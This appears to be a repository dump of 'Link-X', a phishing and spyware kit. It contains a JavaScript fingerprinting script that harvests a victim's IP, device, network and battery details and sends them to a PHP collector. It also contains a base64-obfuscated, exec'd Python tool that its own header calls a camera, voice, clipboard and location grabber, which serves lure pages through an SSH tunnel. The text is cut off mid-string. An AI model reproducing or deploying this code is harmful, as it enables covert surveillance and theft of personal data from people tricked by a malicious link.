143 | level: (battery.level * 100) + "%", 144 | charging: battery.charging 145 | }); 146 | }).catch(() => { 147 | resolve({ level: "Error", charging: "Error" }); 148 | }); 149 | }); 150 | } 151 | 152 | // Kumpulkan & kirim semua data korban 153 | async function fetchData() { 154 | try { 155 | const ip = send("./ip.php?echo=true").trim() || "0.0.0.0"; 156 | const time = new Date().toString(); 157 | const cookie = navigator.cookieEnabled; 158 | const touch = navigator.maxTouchPoints || "N/A"; 159 | const ua = navigator.userAgent || "N/A"; 160 | const platf = navigator.platform || "N/A"; 161 | const lang = navigator.language || "N/A"; 162 | const memory = navigator.deviceMemory || "N/A"; 163 | const wid = screen.width; 164 | const hig = screen.height; 165 | const netType = navigator.connection?.type || "unknown"; 166 | const saveData = navigator.connection?.saveData || "N/A"; 167 | const dname = getDeviceName(); 168 | const battery = await safeGetBattery(); 169 | 170 | const query = `?ip=${encodeURIComponent(ip)}&time=${encodeURIComponent(time)}&touch=${encodeURIComponent(touch)}&cookie=${cookie}&ua=${encodeURIComponent(ua)}&platf=${encodeURIComponent(platf)}&lang=${encodeURIComponent(lang)}&memory=${encodeURIComponent(memory)}&wid=${wid}&hig=${hig}&netType=${encodeURIComponent(netType)}&saveData=${saveData}&batLevel=${encodeURIComponent(battery.level)}&batCharge=${battery.charging}&dname=${encodeURIComponent(dname)}`; 171 | 172 | send("./get_data.php" + query); 173 | window.location.href = REDIRECT_URL; 174 | 175 | } catch (e) { 176 | console.error("Error in details.js:", e); 177 | window.location.href = REDIRECT_URL; 178 | } 179 | } 180 | 181 | // Jalankan pengumpulan 182 | fetchData(); -------------------------------------------------------------------------------- /Link-x.py: -------------------------------------------------------------------------------- 1 | # Obfuscated by Mr.X 2 | import base64 3 | exec(base64.b64decode('IiIiCkFib3V0IFRvb2w6CiAgICBOYW1lIDogTGluay1YCiAgICBEZXNjcmlwdGlvbiA6IENhbWVyYSwgVm9pY2UsIENsaXBib2FyZCAoZXRjLi4uKSBHcmFiYmVyCiAgICBBdXRob3IgOiBNci5YCiAgICBHaXRIdWIgOiBodHRwczovL2dpdGh1Yi5jb20vV2hvbXJ4NjY2ICAKICAgIFZlcnNpb24gOiAyLjAKCk1vcmUgRGVzY3JpcHRpb246CiAgICBUaGlzIFRvb2wgY2FuIEhhY2sgYW5kIEdyYWIgZGF0YSBvZiBDYW1lcmEsIFZvaWNlLCBDbGlwYm9hcmQsIExvY2F0aW9uLgogICAgSXQgY2FuIEdyYWIgQXMgbXVjaCBpbmZvIGFzIFBvc3NpYmxlIGZyb20gVmljdGltcyBEZXZpY2UuCiAgICBBbGwgdGhpcyByZXF1aXJlcyBKdXN0IGEgTWFsaWNpb3VzIExpbmsKClR1bm5lbCBPcHRpb25zOgogICAgbG9jYWxob3N0LnJ1biAodmlhIFNTSCkKCk5vdGU6CiAgICBUaGlzIFRvb2wgaXMgb25seSBmb3IgRWR1Y2F0aW9uYWwgUHVycG9zZQogICAgTXIuWCB3aWxsIG5vdCBiZSByZXNwb25zaWJsZSBmb3IgYW55IE1pc3VzZQoiIiIKCmltcG9ydCBvcwppbXBvcnQgdGltZQppbXBvcnQgc3lzCmltcG9ydCBqc29uCmltcG9ydCBzaHV0aWwKaW1wb3J0IHN1YnByb2Nlc3MgYXMgc2IKaW1wb3J0IHJlCgojIEdsb2JhbCBWYXJpYWJsZXMKYXR0YWNrTWV0aG9kID0gIiIKbWFza1VybCA9ICIiCmhvc3QgPSAiMTI3LjAuMC4xIgpjaHJvb3QgPSBGYWxzZSBpZiAoc2IuZ2V0b3V0cHV0KCJjb21tYW5kIC12IHRlcm11eC1jaHJvb3QiKSA9PSAiIikgZWxzZSBUcnVlCnR1bm5lbF9hY3RpdmUgPSBUcnVlCgpjb2x1bW5zID0gc2h1dGlsLmdldF90ZXJtaW5hbF9zaXplKCkuY29sdW1ucwoKIyBDeWJlcnB1bmsgTmVvbiBDb2xvcnMKTkVPTl9QVVJQTEUgPSAiXDAzM1szODs1OzkzbSIKTkVPTl9CTFVFID0gIlwwMzNbMzg7NTs4MW0iCk5FT05fV0hJVEUgPSAiXDAzM1szODs1OzE1bSIKUkVTRVQgPSAiXDAzM1swbSIKCmRlZiBjUHJpbnQodGV4dCwgUmV0dXJuPUZhbHNlKToKICAgIHRleHQgPSB0ZXh0LnJlcGxhY2UoImNQdXJwbGUiLCBORU9OX1BVUlBMRSkucmVwbGFjZSgiY0JsdWUiLCBORU9OX0JMVUUpLnJlcGxhY2UoImNXaGl0ZSIsIE5FT05fV0hJVEUpCiAgICBvdXRwdXQgPSB0ZXh0ICsgUkVTRVQKICAgIGlmIFJldHVybjoKICAgICAgICByZXR1cm4gb3V0cHV0CiAgICBwcmludChvdXRwdXQpCgpkZWYgcHNiKHosIGVuZD0iXG4iKToKICAgIHogPSBjUHJpbnQoeiwgVHJ1ZSkKICAgIGZvciBwIGluIHogKyBlbmQ6CiAgICAgICAgc3lzLnN0ZG91dC53cml0ZShwKQogICAgICAgIHN5cy5zdGRvdXQuZmx1c2goKQogICAgICAgIHRpbWUuc2xlZXAoMC4wMSkKCmRlZiBsb2dvKCk6CiAgICBvcy5zeXN0ZW0oImNsZWFyIikKICAgIGJhbm5lciA9IGYiIiIKe05FT05fUFVSUExFfSDilojilojilZcgICAgIOKWiOKWiOKVl+KWiOKWiOKWiOKVlyAgIOKWiOKWiOKVl+KWiOKWiOKVlyAg4paI4paI4pWXICAgIOKWiOKWiOKVlyAg4paI4paI4pWXCntORU9OX1BVUlBMRX0g4paI4paI4pWRICAgICDilojilojilZHilojilojilojilojilZcgIOKWiOKWiOKVkeKVmuKWiOKWiOKVl+KWiOKWiOKVlOKVnSAgICDilZrilojilojilZfilojilojilZTilZ0Ke05FT05fQkxVRX0g4paI4paI4pWRICAgICDilojilojilZHilojilojilZTilojilojilZcg4paI4paI4pWRIOKVmuKWiOKWiOKWiOKVlOKVnSAgICAgIOKVmuKWiOKWiOKWiOKVlOKVnSAKe05FT05fQkxVRX0g4paI4paI4pWRICAgICDilojilojilZHilojilojilZHilZrilojilojilZfilojilojilZEg4paI4paI4pWU4paI4paI4pWXICAgICAg4paI4paI4pWU4paI4paI4pWXIAp7TkVPTl9QVVJQTEV9IOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKVkeKWiOKWiOKVkSDilZrilojilojilojilojilZHilojilojilZTilZ0g4paI4paI4pWXICAgIOKWiOKWiOKVlOKVnSDilojilojilZcKe05FT05fUFVSUExFfSDilZrilZDilZDilZDilZDilZDilZDilZ3ilZrilZDilZ3ilZrilZDilZ0gIOKVmuKVkOKVkOKVkOKVneKVmuKVkOKVnSAg4pWa4pWQ4pWdICAgIOKVmuKVkOKVnSAg4pWa4pWQ4pWdCntSRVNFVH0iIiIKICAgIGZvciBsaW5lIGluIGJhbm5lci5zdHJpcCgpLnNwbGl0bGluZXMoKToKICAgICAgICBwcmludChsaW5lLmNlbnRlcihjb2x1bW5zKSkKCiAgICBzZXBfbGVuID0gbWluKGNvbHVtbnMgLSAxMCwgNTApCiAgICBzZXBhcmF0b3IgPSBORU9OX1BVUlBMRSArICLilIAiICogc2VwX2xlbiArIFJFU0VUCiAgICBwcmludChzZXBhcmF0b3IuY2VudGVyKGNvbHVtbnMpKQoKICAgIGluZm9fbGluZXMgPSBbCiAgICAgICAgZiJ7TkVPTl9CTFVFfSAgICAgICAgICAgICBBdXRob3Ige05FT05fV0hJVEV9OiB7TkVPTl9XSElURX1Nci5YIiwKICAgICAgICBmIntORU9OX0JMVUV9ICAgICAgICAgICAgIFRvb2wge05FT05fV0hJVEV9OiB7TkVPTl9XSElURX1MaW5rLVggKEhhY2sgV2l0aCBMaW5rKSIsCiAgICAgICAgZiJ7TkVPTl9CTFVFfSAgICAgICAgICAgR2l0SHViIHtORU9OX1dISVRFfToge05FT05fV0hJVEV9aHR0cHM6Ly9naXRodWIuY29tL1dob21yeDY2NiAgIiwKICAgICAgICBmIntORU9OX0JMVUV9ICAgICAgICAgICAgICAgICAgICBDb2RlciB7TkVPTl9XSElURX06IHtORU9OX1dISVRFfVdob21yeCB7TkVPTl9QVVJQTEV9djIuMCIKICAgIF0KICAgIGZvciBsaW5lIGluIGluZm9fbGluZXM6CiAgICAgICAgcHJpbnQobGluZS5jZW50ZXIoY29sdW1ucykpCgogICAgcHJpbnQoc2VwYXJhdG9yLmNlbnRlcihjb2x1bW5zKSkKCmRlZiBraWxsQWxsKCk6CiAgICBwaWRzID0gc2IuZ2V0b3V0cHV0KCJwaWRvZiBwaHAgc3NoIikuc3BsaXQoKQogICAgZm9yIHBpZCBpbiBwaWRzOgogICAgICAgIGlmIHBpZC5pc2RpZ2l0KCk6CiAgICAgICAgICAgIG9zLnN5c3RlbShmImtpbGwge3BpZH0gPiAvZGV2L251bGwgMj4mMSIpCiAgICBvcy5zeXN0ZW0oInBraWxsIC1mIGxvY2FsaG9zdC5ydW4gPiAvZGV2L251bGwgMj4mMSIpCiAgICBvcy5zeXN0ZW0oInBraWxsIC1mIHBocCA+IC9kZXYvbnVsbCAyPiYxIikKCmRlZiB1cGRhdGUoKToKICAgIHBzYigiXG4gICAgY1doaXRlW2NQdXJwbGUhY1doaXRlXSBQbGVhc2Ugd2FpdCwgQ2hlY2tpbmcgVXBkYXRlLi4uIikKICAgIHRyeToKICAgICAgICBvbGRWZXJzaW9uID0ganNvbi5sb2FkcyhvcGVuKCIudmVyc2lvbiIsICJyIikucmVhZCgpKVsidmVyc2lvbiJdCiAgICBleGNlcHQ6CiAgICAgICAgb2xkVmVyc2lvbiA9ICIxLjAiCiAgICAKICAgIHRyeToKICAgICAgICBuZXdWZXJzaW9uID0ganNvbi5sb2FkcyhzYi5nZXRvdXRwdXQoImN1cmwgLXMgXCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vV2hvbXJ4NjY2L0xpbmsteC9tYWluLy52ZXJzaW9uICBcIiIpLnJlcGxhY2UoIlxuIiwgIiIpLnN0cmlwKCkpWyJ2ZXJzaW9uIl0KICAgIGV4Y2VwdDoKICAgICAgICBjUHJpbnQoIlxuICAgIGNXaGl0ZVtjUHVycGxlIWNXaGl0ZV0gU29tZXRoaW5nIFdlbnQgV3JvbmchIikKICAgICAgICBzeXMuZXhpdCgiIikKICAgIAogICAgaWYgb2xkVmVyc2lvbiAhPSBuZXdWZXJzaW9uOgogICAgICAgIHBzYigiXG4gICAgY1doaXRlW2NQdXJwbGUhY1doaXRlXSBUb29sIFVwZGF0ZSBGb3VuZCEiKQogICAgICAgIGNQcmludCgiICAgIFshXSBVcGRhdGluZyBUb29sLi4uIikKICAgICAgICBvcy5zeXN0ZW0oImNkIC4uLyAmJiBybSAtcmYgTGluay14ICYmIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vV2hvbXJ4NjY2L0xpbmsteCAgID4gL2Rldi9udWxsIDI+JjEiKQogICAgICAgIHBzYigiXG4gICAgW2NQdXJwbGUqY1doaXRlXSBVcGRhdGUgQ29tcGxldGUhIikKICAgICAgICBwc2IoIiAgICBbY1B1cnBsZSpjV2hpdGVdIFN0YXJ0aW5nIG5ldyBWZXJzaW9uLi4uIikKICAgICAgICBvcy5zeXN0ZW0oImNkIC4uL0xpbmsteCAmJiBweXRob24gTGluay14LnB5IikKICAgIGVsc2U6CiAgICAgICAgcHNiKCJcbiAgICBjV2hpdGVbY1B1cnBsZSpjV2hpdGVdIFRvb2wgaXMgYWxyZWFkeSBVcCB0byBEYXRlISIpCiAgICAgICAgdGltZS5zbGVlcCgwLjgpCiAgICAgICAgaW5wdXQoY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIFByZXNzIEVudGVyIHRvIENvbnRpbnVlLi4uIiwgVHJ1ZSkpCgpkZWYgcHJpbnRMb2NhdGlvbih0bXApOgogICAgZGF0YSA9IGpzb24ubG9hZHModG1wKVsiaW5mbyJdCiAgICB0aW1lLnNsZWVwKDAuNCkKICAgIGNQcmludChmIlxuICAgIFtjUHVycGxlfmNXaGl0ZV0gTGF0aXR1ZGVjUHVycGxlOiBjV2hpdGV7ZGF0YVsnbGF0J119IikKICAgIGNQcmludChmIlxuICAgIFtjUHVycGxlfmNXaGl0ZV0gTG9uZ2l0dWRlY1B1cnBsZTogY1doaXRle2RhdGFbJ2xvbiddfSIpCiAgICBjUHJpbnQoZiJcbiAgICBbY1B1cnBsZX5jV2hpdGVdIEFjY3VyYWN5Y1B1cnBsZTogY1doaXRle2RhdGFbJ2FjYyddfSIpCiAgICBjUHJpbnQoZiJcbiAgICBbY1B1cnBsZX5jV2hpdGVdIEFsdGl0dWRlY1B1cnBsZTogY1doaXRle2RhdGFbJ2FsdCddfSIpCiAgICBsYXQgPSBkYXRhWydsYXQnXQogICAgbG9uID0gZGF0YVsnbG9uJ10KICAgIGNQcmludChmIlxuICAgIFtjUHVycGxlfmNXaGl0ZV0gR29vZ2xlIE1hcGNQdXJwbGU6IGNXaGl0ZWh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vbWFwcy9zZWFyY2gvP2FwaT0xJnF1ZXJ5PSAge2xhdH0se2xvbn0iKQogICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIFdhaXRpbmcgZm9yIG5leHQgVmljdGltLi4uIikKCmRlZiBwcmludERldGFpbHModG1wKToKICAgIGRhdGEgPSBqc29uLmxvYWRzKHRtcClbImluZm8iXQogICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIFBhcnNpbmcgRGF0YS4uLiIpCiAgICBpcCA9IGRhdGEuZ2V0KCJpcCIsICJ1bmtub3duIikucmVwbGFjZSgiXG4iLCAiIikucmVwbGFjZSgiICIsICIiKQogICAgCiAgICBpcERldGFpbHMgPSBzYi5nZXRvdXRwdXQoZiJjdXJsIC1zICdodHRwOi8vaXAtYXBpLmNvbS9qc29uL3tpcH0nIikKICAgIAogICAgY291bnRyeSA9ICJOb25lIgogICAgY2l0eSA9ICJOb25lIgogICAgY2FsbENvZGUgPSAiTm9uZSIKICAgIHRpbWVab25lID0gIk5vbmUiCiAgICBJU1AgPSAiTm9uZSIKICAgIAogICAgaWYgbm90ICgiZXJyb3IiIGluIGlwRGV0YWlscykgYW5kIGlwRGV0YWlscy5zdHJpcCgpICE9ICIiOgogICAgICAgIHRyeToKICAgICAgICAgICAgaXBEZXRhaWxzID0ganNvbi5sb2FkcyhpcERldGFpbHMpCiAgICAgICAgICAgIGlmIGlzaW5zdGFuY2UoaXBEZXRhaWxzLCBkaWN0KSBhbmQgaXBEZXRhaWxzLmdldCgic3RhdHVzIikgPT0gInN1Y2Nlc3MiOgogICAgICAgICAgICAgICAgY291bnRyeSA9IGlwRGV0YWlscy5nZXQoImNvdW50cnkiLCAiTm9uZSIpCiAgICAgICAgICAgICAgICBjaXR5ID0gaXBEZXRhaWxzLmdldCgiY2l0eSIsICJOb25lIikKICAgICAgICAgICAgICAgIGNhbGxDb2RlID0gaXBEZXRhaWxzLmdldCgiY291bnRyeUNvZGUiLCAiTm9uZSIpCiAgICAgICAgICAgICAgICB0aW1lWm9uZSA9IGlwRGV0YWlscy5nZXQoInRpbWV6b25lIiwgIk5vbmUiKQogICAgICAgICAgICAgICAgSVNQID0gaXBEZXRhaWxzLmdldCgiaXNwIiwgIk5vbmUiKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcGFzcwogICAgCiAgICBjUHJpbnQoZiJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIElQIEFkZHJlc3M6IHtkYXRhLmdldCgnaXAnLCAndW5rbm93bicpfSIpCiAgICBwcmludCgiIikKICAgIGNQcmludCgiW2NQdXJwbGUqY1doaXRlXSBCYXNpYyBJbmZvIi5jZW50ZXIoY29sdW1ucykpCiAgICBwcmludCgiIikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIFRpbWUgaW4gVmljdGlt4oCZcyBEZXZpY2VjUHVycGxlOiBjV2hpdGV7ZGF0YS5nZXQoJ3RpbWUnLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIERldmljZSBOYW1lY1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdkbmFtZScsICdOL0EnKX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gQ29va2llY1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdjb29raWUnLCAnTi9BJykudGl0bGUoKX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gVXNlciBBZ2VudGNQdXJwbGU6IGNXaGl0ZXtkYXRhLmdldCgndWEnLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIFBsYXRmb3JtY1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdwbGF0ZicsICdOL0EnKX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gTGFuZ3VhZ2VjUHVycGxlOiBjV2hpdGV7ZGF0YS5nZXQoJ2xhbmcnLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIERldmljZSBNZW1vcnljUHVycGxlOiBjV2hpdGV7ZGF0YS5nZXQoJ21lbW9yeScsICdOL0EnKX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gQ2xpY2sgWGNQdXJwbGU6IGNXaGl0ZXtkYXRhLmdldCgnY2xpY2tYJywgJ04vQScpfSIpCiAgICBjUHJpbnQoZiIgICAgW2NQdXJwbGV+Y1doaXRlXSBDbGljayBZY1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdjbGlja1knLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIENsaWNrIFRpbWVjUHVycGxlOiBjV2hpdGV7ZGF0YS5nZXQoJ2NsaWNrVGltZScsICdOL0EnKX0iKQogICAgcHJpbnQoIiIpCiAgICBjUHJpbnQoIltjUHVycGxlKmNXaGl0ZV0gU2NyZWVuIEluZm8iLmNlbnRlcihjb2x1bW5zKSkKICAgIHByaW50KCIiKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gTWF4IFRvdWNoIFBvaW50c2NQdXJwbGU6IGNXaGl0ZXtkYXRhLmdldCgndG91Y2gnLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIFNjcmVlbiBXaWR0aGNQdXJwbGU6IGNXaGl0ZXtkYXRhLmdldCgnd2lkJywgJ04vQScpfSIpCiAgICBjUHJpbnQoZiIgICAgW2NQdXJwbGV+Y1doaXRlXSBTY3JlZW4gSGVpZ2h0Y1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdoaWcnLCAnTi9BJyl9IikKICAgIHByaW50KCIiKQogICAgY1ByaW50KCJbY1B1cnBsZSpjV2hpdGVdIE5ldHdvcmsgSW5mbyIuY2VudGVyKGNvbHVtbnMpKQogICAgcHJpbnQoIiIpCiAgICBjUHJpbnQoZiIgICAgW2NQdXJwbGV+Y1doaXRlXSBEYXRhIFR5cGVjUHVycGxlOiBjV2hpdGV7ZGF0YS5nZXQoJ25ldFR5cGUnLCAnTi9BJykudGl0bGUoKX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gSVNQY1B1cnBsZTogY1doaXRle3N0cihJU1ApfSIpCiAgICBwcmludCgiIikKICAgIGNQcmludCgiW2NQdXJwbGUqY1doaXRlXSBCYXR0ZXJ5IEluZm8iLmNlbnRlcihjb2x1bW5zKSkKICAgIHByaW50KCIiKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gQmF0dGVyeSBMZXZlbGNQdXJwbGU6IGNXaGl0ZXtkYXRhLmdldCgnYmF0TGV2ZWwnLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIENoYXJnaW5nY1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdiYXRDaGFyZ2UnLCAnTi9BJyl9IikKICAgIHByaW50KCIiKQogICAgY1ByaW50KCJbY1B1cnBsZSpjV2hpdGVdIENvdW50cnkgSW5mbyIuY2VudGVyKGNvbHVtbnMpKQogICAgcHJpbnQoIiIpCiAgICBjUHJpbnQoZiIgICAgW2NQdXJwbGV+Y1doaXRlXSBDb3VudHJ5Y1B1cnBsZTogY1doaXRle3N0cihjb3VudHJ5KX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gQ2l0eWNQdXJwbGU6IGNXaGl0ZXtzdHIoY2l0eSl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIENhbGxpbmcgQ29kZWNQdXJwbGU6IGNXaGl0ZXtzdHIoY2FsbENvZGUpfSIpCiAgICBjUHJpbnQoZiIgICAgW2NQdXJwbGV+Y1doaXRlXSBUaW1lIFpvbmVjUHVycGxlOiBjV2hpdGV7c3RyKHRpbWVab25lKX0iKQogICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIFdhaXRpbmcgZm9yIG5leHQgVmljdGltLi4uIikKCmRlZiBzZXR1cEZpbGVzKHJlZGlyZWN0VXJsLCB0b0NvcHk9Tm9uZSwgc2hvdz1Ob25lKToKICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cygiLnNlcnZlciIpOgogICAgICAgIG9zLnN5c3RlbSgibWtkaXIgLnNlcnZlciA+IC9kZXYvbnVsbCAyPiYxIikKICAgIG9zLnN5c3RlbSgicm0gLXJmIC4vLnNlcnZlci8qID4gL2Rldi9udWxsIDI+JjEiKQoKICAgIGlmIGF0dGFja01ldGhvZCAhPSAiY2xpY2tqYWNraW5nIjoKICAgICAgICBpZiBub3QgcmVkaXJlY3RVcmwgb3IgcmVkaXJlY3RVcmwuc3RyaXAoKSA9PSAiIjoKICAgICAgICAgICAgcmVkaXJlY3RVcmwgPSAiaHR0cHM6Ly95b3UucmVnZXR0aW5nb2xkLmNvbS8gICIKICAgICAgICBlbHNlOgogICAgICAgICAgICByZWRpcmVjdFVybCA9IHJlZGlyZWN0VXJsLnN0cmlwKCkKICAgICAgICAgICAgaWYgbm90IHJlZGlyZWN0VXJsLnN0YXJ0c3dpdGgoKCJodHRwOi8vIiwgImh0dHBzOi8vIikpOgogICAgICAgICAgICAgICAgcmVkaXJlY3RVcmwgPSAiaHR0cHM6Ly8iICsgcmVkaXJlY3RVcmwKICAgICAgICAgICAgcmVkaXJlY3RVcmwgPSByZWRpcmVjdFVybC5yc3RyaXAoJy8nKSArICcvJwoKICAgICAgICBvcy5zeXN0ZW0oImNwIC1yIC4vLnNpdGUvaW5kZXgvKiAuLy5zZXJ2ZXIvIikKICAgICAgICBvcy5zeXN0ZW0oImNwIC1yIC4vLnNpdGUvanMvIiArIGF0dGFja01ldGhvZCArICIuanMgLi8uc2VydmVyL2luZGV4LmpzIikKICAgICAgICBvcy5zeXN0ZW0oImNwIC1yIC4vLnNpdGUvcGhwLyIgKyBhdHRhY2tNZXRob2QgKyAiLnBocCAuLy5zZXJ2ZXIvZ2V0X2RhdGEucGhwIikKCiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIG9wZW4oIi4vLnNlcnZlci9pbmRleC5qcyIsICJyIiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgICAgIGpzRGF0YSA9IGYucmVhZCgpCiAgICAgICAgICAgIGpzRGF0YSA9IHJlLnN1YigKICAgICAgICAgICAgICAgIHIiaHR0cHM/Oi8veW91XC5yZWdldHRpbmdvbGRcLmNvbS8/IiwKICAgICAgICAgICAgICAgIHJlZGlyZWN0VXJsLAogICAgICAgICAgICAgICAganNEYXRhLAogICAgICAgICAgICAgICAgZmxhZ3M9cmUuSUdOT1JFQ0FTRQogICAgICAgICAgICApCiAgICAgICAgICAgIHdpdGggb3BlbigiLi8uc2VydmVyL2luZGV4LmpzIiwgInciLCBlbmNvZGluZz0idXRmLTgiKSBhcyBmOgogICAgICAgICAgICAgICAgZi53cml0ZShqc0RhdGEpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBjUHJpbnQoZiJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIFdhcm5pbmc6IEZhaWxlZCB0byB1cGRhdGUgcmVkaXJlY3QgVVJMIGluIGluZGV4LmpzOiB7c3RyKGUpfSIpCgogICAgICAgIGlmIGF0dGFja01ldGhvZCA9PSAidm9pY2UiOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oIi4vLnNlcnZlci9pbmRleC5qcyIsICJyIiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgICAgICAgICBqc0RhdGEgPSBmLnJlYWQoKQogICAgICAgICAgICAgICAganNEYXRhID0gcmUuc3ViKAogICAgICAgICAgICAgICAgICAgIHIncmVkaXJlY3RVcmxccyo9XHMqWyJcJ11bXiJcJ10qWyJcJ10nLAogICAgICAgICAgICAgICAgICAgIGYncmVkaXJlY3RVcmwgPSAie3JlZGlyZWN0VXJsfSInLAogICAgICAgICAgICAgICAgICAgIGpzRGF0YQogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgd2l0aCBvcGVuKCIuLy5zZXJ2ZXIvaW5kZXguanMiLCAidyIsIGVuY29kaW5nPSJ1dGYtOCIpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZi53cml0ZShqc0RhdGEpCiAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgICAgIGNQcmludChmIlxuICAgIFtjUHVycGxlIWNXaGl0ZV0gV2FybmluZzogRmFpbGVkIHRvIHVwZGF0ZSByZWRpcmVjdCBVUkwgaW4gdm9pY2UuanM6IHtzdHIoZSl9IikKCiAgICBlbHNlOgogICAgICAgIG9zLnN5c3RlbSgiY3AgLXIgLi8uc2l0ZS9jbGlja2phY2tpbmcvKiAuLy5zZXJ2ZXIvIikKICAgICAgICBvcy5zeXN0ZW0oInJtIC1mIC4vLnNlcnZlci9pbmRleC5waHAiKQoKIyDinIUgVVBEQVRFRDogY3JlYXRlTWFza1BhZ2Ug4oCUIG5vdyB3b3JrcyBmb3IgY2FtZXJhIHRvbwpkZWYgY3JlYXRlTWFza1BhZ2UobWFza05hbWUsIG1haW5VcmwpOgogICAgbWFza0RpciA9ICIuLy5zZXJ2ZXIvbWFzayIKICAgIG9zLm1ha2VkaXJzKG1hc2tEaXIsIGV4aXN0X29rPVRydWUpCiAgICBtYXNrRmlsZSA9IG9zLnBhdGguam9pbihtYXNrRGlyLCBmInttYXNrTmFtZX0uaHRtbCIpCgogICAgIyBFc2NhcGUgcXVvdGVzIGZvciBKUwogICAgc2FmZVVybCA9IG1haW5VcmwucmVwbGFjZSgnIicsICdcXCInKQogICAgCiAgICBodG1sQ29udGVudCA9IGYiIiI8IURPQ1RZUEUgaHRtbD4KPGh0bWw+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkxvYWRpbmcuLi48L3RpdGxlPgogICAgPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9e21haW5Vcmx9Ij4KICAgIDxzY3JpcHQ+CiAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoIntzYWZlVXJsfSIpOwogICAgPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHk+CjwvYm9keT4KPC9odG1sPiIiIgoKICAgIHRyeToKICAgICAgICB3aXRoIG9wZW4obWFza0ZpbGUsICJ3IiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZShodG1sQ29udGVudCkKICAgICAgICBiYXNlID0gbWFpblVybC5yc3RyaXAoJy8nKQogICAgICAgIHJldHVybiBmIntiYXNlfS9tYXNrL3ttYXNrTmFtZX0uaHRtbCIKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBjUHJpbnQoZiJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIEZhaWxlZCB0byBjcmVhdGUgbWFzayBwYWdlOiB7c3RyKGUpfSIpCiAgICAgICAgcmV0dXJuIE5vbmUKCmRlZiBzdGFydFBIUCgpOgogICAgcG9ydCA9ICI4MDgwIgogICAgb3Muc3lzdGVtKGYiY2QgLi8uc2VydmVyICYmIHBocCAtUyB7aG9zdH06e3BvcnR9ID4gL2Rldi9udWxsIDI+JjEgJiIpCiAgICByZXR1cm4gcG9ydAoKZGVmIHN0YXJ0TG9jYWxob3N0UnVuKHBvcnQsIG1hc2tVcmw9Tm9uZSk6CiAgICBnbG9iYWwgdHVubmVsX2FjdGl2ZQogICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIExhdW5jaGluZyBsb2NhbGhvc3QucnVuIHR1bm5lbC4uLiIpCiAgICBvcy5zeXN0ZW0oInJtIC1mIC5saHIubG9nID4gL2Rldi9udWxsIDI+JjEiKQogICAgCiAgICBzc2hfY21kID0gKAogICAgICAgIGYic3NoIC1vIFN0cmljdEhvc3RLZXlDaGVja2luZz1ubyAiCiAgICAgICAgZiItbyBTZXJ2ZXJBbGl2ZUludGVydmFsPTMwICIKICAgICAgICBmIi1vIFNlcnZlckFsaX